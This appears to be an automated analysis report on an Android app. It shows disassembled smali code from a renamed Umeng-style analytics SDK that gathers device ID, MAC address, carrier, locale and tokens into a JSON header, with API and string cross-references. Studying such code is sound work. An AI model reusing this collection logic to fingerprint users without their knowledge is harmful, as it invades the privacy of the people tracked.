                                                                              36invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppSHA1Key(Landroid/content/Context;)Ljava/lang/String;
                                                                              37move-result-object v4
                                                                              39invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              41const-string v2, "app_sig_sha"
                                                                              43invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppHashKey(Landroid/content/Context;)Ljava/lang/String;
                                                                              44move-result-object v4
                                                                              46invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              48const-string v2, "app_version"
                                                                              50invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppVersionName(Landroid/content/Context;)Ljava/lang/String;
                                                                              51move-result-object v4
                                                                              53invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              55const-string v2, "version_code"
                                                                              57invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppVersionCode(Landroid/content/Context;)Ljava/lang/String;
                                                                              58move-result-object v4
                                                                              60invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                                              61move-result v4
                                                                              63invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              65const-string v2, "idmd5"
                                                                              67invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getDeviceIdUmengMD5(Landroid/content/Context;)Ljava/lang/String;
                                                                              68move-result-object v4
                                                                              70invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              72const-string v2, "cpu"
                                                                              74invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getCPU()Ljava/lang/String;
                                                                              75move-result-object v4
                                                                              77invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              79invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMCCMNC(Landroid/content/Context;)Ljava/lang/String;
                                                                              80move-result-object v2
                                                                              82invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              83move-result v4
                                                                              84if-nez v4, :cond_1a8
                                                                              86const-string v4, "mccmnc"
                                                                              88invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              89goto_74:
                                                                              90invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSubOSName(Landroid/content/Context;)Ljava/lang/String;
                                                                              91move-result-object v2
                                                                              93invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              94move-result v4
                                                                              95if-nez v4, :cond_83
                                                                              97const-string v4, "sub_os_name"
                                                                              99invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              100cond_83:
                                                                              101invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSubOSVersion(Landroid/content/Context;)Ljava/lang/String;
                                                                              102move-result-object v2
                                                                              104invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              105move-result v4
                                                                              106if-nez v4, :cond_92
                                                                              108const-string v4, "sub_os_version"
                                                                              110invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              111cond_92:
                                                                              112invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getDeviceType(Landroid/content/Context;)Ljava/lang/String;
                                                                              113move-result-object v2
                                                                              115invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              116move-result v4
                                                                              117if-nez v4, :cond_a1
                                                                              119const-string v4, "device_type"
                                                                              121invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              122cond_a1:
                                                                              123const-string v2, "package_name"
                                                                              125invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getPackageName(Landroid/content/Context;)Ljava/lang/String;
                                                                              126move-result-object v4
                                                                              128invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              130const-string v2, "sdk_type"
                                                                              132const-string v4, "Android"
                                                                              134invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              136const-string v2, "device_id"
                                                                              138invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getDeviceId(Landroid/content/Context;)Ljava/lang/String;
                                                                              139move-result-object v4
                                                                              141invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              143const-string v2, "device_model"
                                                                              145sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                                              147invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              149const-string v2, "device_board"
                                                                              151sget-object v4, Landroid/os/Build;->BOARD:Ljava/lang/String;
                                                                              153invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              155const-string v2, "device_brand"
                                                                              157sget-object v4, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                                              159invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              161const-string v2, "device_manutime"
                                                                              162sget-wide v4, Landroid/os/Build;->TIME:J
                                                                              164invoke-virtual {v0, v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                                                              166const-string v2, "device_manufacturer"
                                                                              168sget-object v4, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                                                                              170invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              172const-string v2, "device_manuid"
                                                                              174sget-object v4, Landroid/os/Build;->ID:Ljava/lang/String;
                                                                              176invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              178const-string v2, "device_name"
                                                                              180sget-object v4, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                                                                              182invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              184const-string v2, "os"
                                                                              186const-string v4, "Android"
                                                                              188invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              190const-string v2, "os_version"
                                                                              192sget-object v4, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                                                                              194invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              196invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getResolutionArray(Landroid/content/Context;)[I
                                                                              197move-result-object v2
                                                                              198if-eqz v2, :cond_121
                                                                              200const-string v4, "resolution"
                                                                              201new-instance v5, Ljava/lang/StringBuilder;
                                                                              203invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              204const/4 v6, 0x1
                                                                              205aget v6, v2, v6
                                                                              207invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              208move-result-object v5
                                                                              210const-string v6, "*"
                                                                              212invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              213move-result-object v5
                                                                              214const/4 v6, 0x0
                                                                              215aget v2, v2, v6
                                                                              217invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              218move-result-object v2
                                                                              220invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              221move-result-object v2
                                                                              223invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              224cond_121:
                                                                              225const-string v2, "mc"
                                                                              227invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMac(Landroid/content/Context;)Ljava/lang/String;
                                                                              228move-result-object v4
                                                                              230invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              232const-string v2, "timezone"
                                                                              234invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getTimeZone(Landroid/content/Context;)I
                                                                              235move-result v4
                                                                              237invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              239invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getLocaleInfo(Landroid/content/Context;)[Ljava/lang/String;
                                                                              240move-result-object v2
                                                                              242const-string v4, "country"
                                                                              243const/4 v5, 0x0
                                                                              244aget-object v5, v2, v5
                                                                              246invoke-virtual {v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              248const-string v4, "language"
                                                                              249const/4 v5, 0x1
                                                                              250aget-object v2, v2, v5
                                                                              252invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              254const-string v2, "carrier"
                                                                              256invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getNetworkOperatorName(Landroid/content/Context;)Ljava/lang/String;
                                                                              257move-result-object v4
                                                                              259invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              261const-string v2, "display_name"
                                                                              263invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppName(Landroid/content/Context;)Ljava/lang/String;
                                                                              264move-result-object v4
                                                                              266invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              268invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getNetworkAccessMode(Landroid/content/Context;)[Ljava/lang/String;
                                                                              269move-result-object v2
                                                                              271const-string v4, "Wi-Fi"
                                                                              272const/4 v5, 0x0
                                                                              273aget-object v5, v2, v5
                                                                              275invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              276move-result v4
                                                                              277if-eqz v4, :cond_1b8
                                                                              279const-string v4, "access"
                                                                              281const-string v5, "wifi"
                                                                              283invoke-virtual {v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              284goto_16f:
                                                                              285const-string v4, ""
                                                                              286const/4 v5, 0x1
                                                                              287aget-object v5, v2, v5
                                                                              289invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              290move-result v4
                                                                              291if-nez v4, :cond_182
                                                                              293const-string v4, "access_subtype"
                                                                              294const/4 v5, 0x1
                                                                              295aget-object v2, v2, v5
                                                                              297invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              298cond_182:
                                                                              299const-string v2, "com_ver"
                                                                              301const-string v4, "1.4.4"
                                                                              303invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              305const-string v2, "com_type"
                                                                              306sget v4, LuAgent/commonsdk/statistics/d;->b:I
                                                                              308invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              310sget-object v2, LuAgent/commonsdk/statistics/b;->a:Ljava/lang/String;
                                                                              312invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              313move-result v2
                                                                              314if-nez v2, :cond_19f
                                                                              316const-string v2, "module"
                                                                              318sget-object v4, LuAgent/commonsdk/statistics/b;->a:Ljava/lang/String;
                                                                              320invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              321cond_19f:
                                                                              322invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              323move-result-object v2
                                                                              324sput-object v2, LuAgent/commonsdk/statistics/b;->e:Ljava/lang/String;
                                                                              325move-object v2, v0
                                                                              326goto/16 :goto_16
                                                                              327cond_1a8:
                                                                              328const-string v2, "mccmnc"
                                                                              330const-string v4, ""
                                                                              332invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              333try_end_1af: goto/16 :goto_74
                                                                              334catch_1b1: move-exception v0
                                                                              336invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              337move-object v0, v1
                                                                              338goto/16 :goto_19
                                                                              339try_start_1b8:
                                                                              340const-string v4, "2G/3G"
                                                                              341const/4 v5, 0x0
                                                                              342aget-object v5, v2, v5
                                                                              344invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              345move-result v4
                                                                              346if-eqz v4, :cond_1cb
                                                                              348const-string v4, "access"
                                                                              350const-string v5, "2G/3G"
                                                                              352invoke-virtual {v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              353goto/16 :goto_16f
                                                                              354cond_1cb:
                                                                              355const-string v4, "access"
                                                                              357const-string v5, "unknow"
                                                                              359invoke-virtual {v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              360try_end_1d2: goto/16 :goto_16f
                                                                              361cond_1d3:
                                                                              362const-string v0, "successful_requests"
                                                                              364const-string v4, "successful_request"
                                                                              365const/4 v5, 0x0
                                                                              367invoke-interface {v3, v4, v5}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                                                                              368move-result v4
                                                                              370invoke-virtual {v2, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              372const-string v0, "failed_requests"
                                                                              374const-string v4, "failed_requests"
                                                                              375const/4 v5, 0x0
                                                                              377invoke-interface {v3, v4, v5}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                                                                              378move-result v4
                                                                              380invoke-virtual {v2, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              382const-string v0, "req_time"
                                                                              384const-string v4, "last_request_spent_ms"
                                                                              385const/4 v5, 0x0
                                                                              387invoke-interface {v3, v4, v5}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                                                                              388move-result v3
                                                                              390invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              391try_end_1f7:
                                                                              392const-string v0, "channel"
                                                                              394invoke-static {p0}, LuAgent/commonsdk/utils/UMUtils;->getChannel(Landroid/content/Context;)Ljava/lang/String;
                                                                              395move-result-object v3
                                                                              397invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              399const-string v0, "appkey"
                                                                              401invoke-static {p0}, LuAgent/commonsdk/utils/UMUtils;->getAppkey(Landroid/content/Context;)Ljava/lang/String;
                                                                              402move-result-object v3
                                                                              404invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              405try_start_209:
                                                                              406invoke-static {p0}, LuAgent/commonsdk/utils/UMUtils;->getDeviceToken(Landroid/content/Context;)Ljava/lang/String;
                                                                              407move-result-object v0
                                                                              409invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              410move-result v3
                                                                              411if-nez v3, :cond_218
                                                                              413const-string v3, "devicetoken"
                                                                              415invoke-virtual {v2, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              416cond_218: sget v0, LuAgent/commonsdk/statistics/d;->b:I
                                                                              417try_end_21a: if-eq v0, v7, :cond_249
                                                                              418try_start_21c:
                                                                              419const-string v0, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              421invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              422move-result-object v0
                                                                              423if-eqz v0, :cond_2c3
                                                                              425const-string v3, "getUmtt"
                                                                              426const/4 v4, 0x1
                                                                              427new-array v4, v4, [Ljava/lang/Class;
                                                                              428const/4 v5, 0x0
                                                                              429const-class v6, Landroid/content/Context;
                                                                              430aput-object v6, v4, v5
                                                                              432invoke-virtual {v0, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              433move-result-object v3
                                                                              434const/4 v4, 0x1
                                                                              435new-array v4, v4, [Ljava/lang/Object;
                                                                              436const/4 v5, 0x0
                                                                              437aput-object p0, v4, v5
                                                                              439invoke-virtual {v3, v0, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              440move-result-object v0
                                                                              441check-cast v0, Ljava/lang/String;
                                                                              442goto_23e:
                                                                              443invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              444move-result v3
                                                                              445if-nez v3, :cond_249
                                                                              447const-string v3, "umtt"
                                                                              449invoke-virtual {v2, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              450goto_249:
                                                                              451const-string v0, "umid"
                                                                              452const/4 v3, 0x0
                                                                              454invoke-static {p0, v0, v3}, LuAgent/commonsdk/framework/UMEnvelopeBuild;->imprintProperty(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              455move-result-object v0
                                                                              457invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              458move-result v3
                                                                              459if-nez v3, :cond_25b
                                                                              461const-string v3, "umid"
                                                                              463invoke-virtual {v2, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              464try_start_25b: sget v0, LuAgent/commonsdk/statistics/d;->b:I
                                                                              465if-eq v0, v7, :cond_26e
                                                                              467invoke-static {p0}, LuAgent/commonsdk/proguard/a;->b(Landroid/content/Context;)Ljava/lang/String;
                                                                              468move-result-object v0
                                                                              469if-eqz v0, :cond_26e
                                                                              471const-string v0, "utoken"
                                                                              473invoke-static {p0}, LuAgent/commonsdk/proguard/a;->b(Landroid/content/Context;)Ljava/lang/String;
                                                                              474move-result-object v3
                                                                              476invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              477goto_26e:
                                                                              478const-string v0, "wrapper_type"
                                                                              480sget-object v3, LuAgent/commonsdk/statistics/a;->a:Ljava/lang/String;
                                                                              482invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              484const-string v0, "wrapper_version"
                                                                              486sget-object v3, LuAgent/commonsdk/statistics/a;->b:Ljava/lang/String;
                                                                              488invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              489goto_27c:
                                                                              490invoke-static {p0}, LuAgent/commonsdk/statistics/idtracking/ImprintHandler;->getImprintService(Landroid/content/Context;)LuAgent/commonsdk/statistics/idtracking/ImprintHandler;
                                                                              491move-result-object v0
                                                                              493invoke-virtual {v0}, LuAgent/commonsdk/statistics/idtracking/ImprintHandler;->a()LuAgent/commonsdk/statistics/proto/d;
                                                                              494move-result-object v0
                                                                              495if-eqz v0, :cond_299
                                                                              497const-string v3, "imprint"
                                                                              498new-instance v4, LuAgent/commonsdk/proguard/u;
                                                                              500invoke-direct {v4}, LuAgent/commonsdk/proguard/u;-><init>()V
                                                                              502invoke-virtual {v4, v0}, LuAgent/commonsdk/proguard/u;->a(LuAgent/commonsdk/proguard/l;)[B
                                                                              503move-result-object v0
                                                                              504const/4 v4, 0x0
                                                                              506invoke-static {v0, v4}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
                                                                              507move-result-object v0
                                                                              509invoke-virtual {v2, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              510cond_299: if-eqz v2, :cond_18
                                                                              511try_start_29b:
                                                                              512invoke-virtual {v2}, Lorg/json/JSONObject;->length()I
                                                                              513move-result v0
                                                                              514if-lez v0, :cond_18
                                                                              515new-instance v0, Lorg/json/JSONObject;
                                                                              517invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              519const-string v3, "header"
                                                                              521invoke-virtual {v0, v3, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              522move-result-object v0
                                                                              523goto/16 :goto_19
                                                                              524catch_2ae: move-exception v0
                                                                              526invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              527goto/16 :goto_218
                                                                              528catch_2b4: move-exception v0
                                                                              530invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              531goto/16 :goto_249
                                                                              532catch_2b9: move-exception v0
                                                                              534invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              535goto/16 :goto_25b
                                                                              536catch_2be: move-exception v0
                                                                              538invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              539try_end_2c2: goto/16 :goto_299
                                                                              540cond_2c3: move-object v0, v1
                                                                              541goto/16 :goto_23e
                                                                              542catch_2c6: move-exception v0
                                                                              543move-object v0, v1
                                                                              544goto/16 :goto_23e
                                                                              545catch_2ca: move-exception v0
                                                                              546move-object v0, v1
                                                                              547goto/16 :goto_23e
                                                                              548catch_2ce: move-exception v0
                                                                              549goto/16 :goto_1f7
                                                                              550catch_2d1: move-exception v0
                                                                              551goto/16 :goto_26e
                                                                              552catch_2d3: move-exception v0
                                                                              553goto/16 :goto_27c
                                                                              Cross References
                                                                              APIs
                                                                              • android.util.Log.i
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.i
                                                                              • android.util.Log.e
                                                                              • android.content.Context.getApplicationContext
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.i
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.util.Log.i
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.util.Log.i
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.util.Log.i
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.util.Log.i
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equals
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.util.Log.i
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.i
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.util.Log.i
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.i
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.util.Log.i
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • UMConfigure
                                                                              • common version is 1.4.4
                                                                              • common type is
                                                                              • context is null !!!
                                                                              • Unknown
                                                                              • channel is
                                                                              • com.umeng.analytics.MobclickAgent
                                                                              • init
                                                                              • ---->>>> init analytics is OK ~~
                                                                              • com.umeng.message.PushAgent
                                                                              • getInstance
                                                                              • setAppkey
                                                                              • ---->>>> init Push app key is OK ~~
                                                                              • setMessageChannel
                                                                              • ---->>>> init Push channel is OK ~~
                                                                              • com.umeng.socialize.UMShareAPI
                                                                              • APPKEY
                                                                              • ---->>>> init share appkey is OK ~~
                                                                              • appkey is null !!!
                                                                              • init e is
                                                                              • appkey is change !!!
                                                                              • current appkey is
                                                                              • , last appkey is
                                                                              • com.umeng.error.UMError
                                                                              • ---->>>> init um e is ok ~~
                                                                              • com.umeng.commonsdk.UMConfigureImpl
                                                                              • com.umeng.visual.UMVisualAgent
                                                                              • com.umeng.analytics.vismode.event.VisualHelper
                                                                              • push secret is
                                                                              • setSecret
                                                                              • ---->>>> init push secret is OK ~~
                                                                              • initDebugSDK appkey is null
                                                                              Position Instruction Meta Information
                                                                              0const/4 v8, 0x1
                                                                              1try_start_1: sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              2if-eqz v0, :cond_26
                                                                              4const-string v0, "UMConfigure"
                                                                              6const-string v1, "common version is 1.4.4"
                                                                              8invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              10const-string v0, "UMConfigure"
                                                                              11new-instance v1, Ljava/lang/StringBuilder;
                                                                              13invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              15const-string v2, "common type is "
                                                                              17invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              18move-result-object v1
                                                                              19sget v2, LuAgent/commonsdk/statistics/d;->b:I
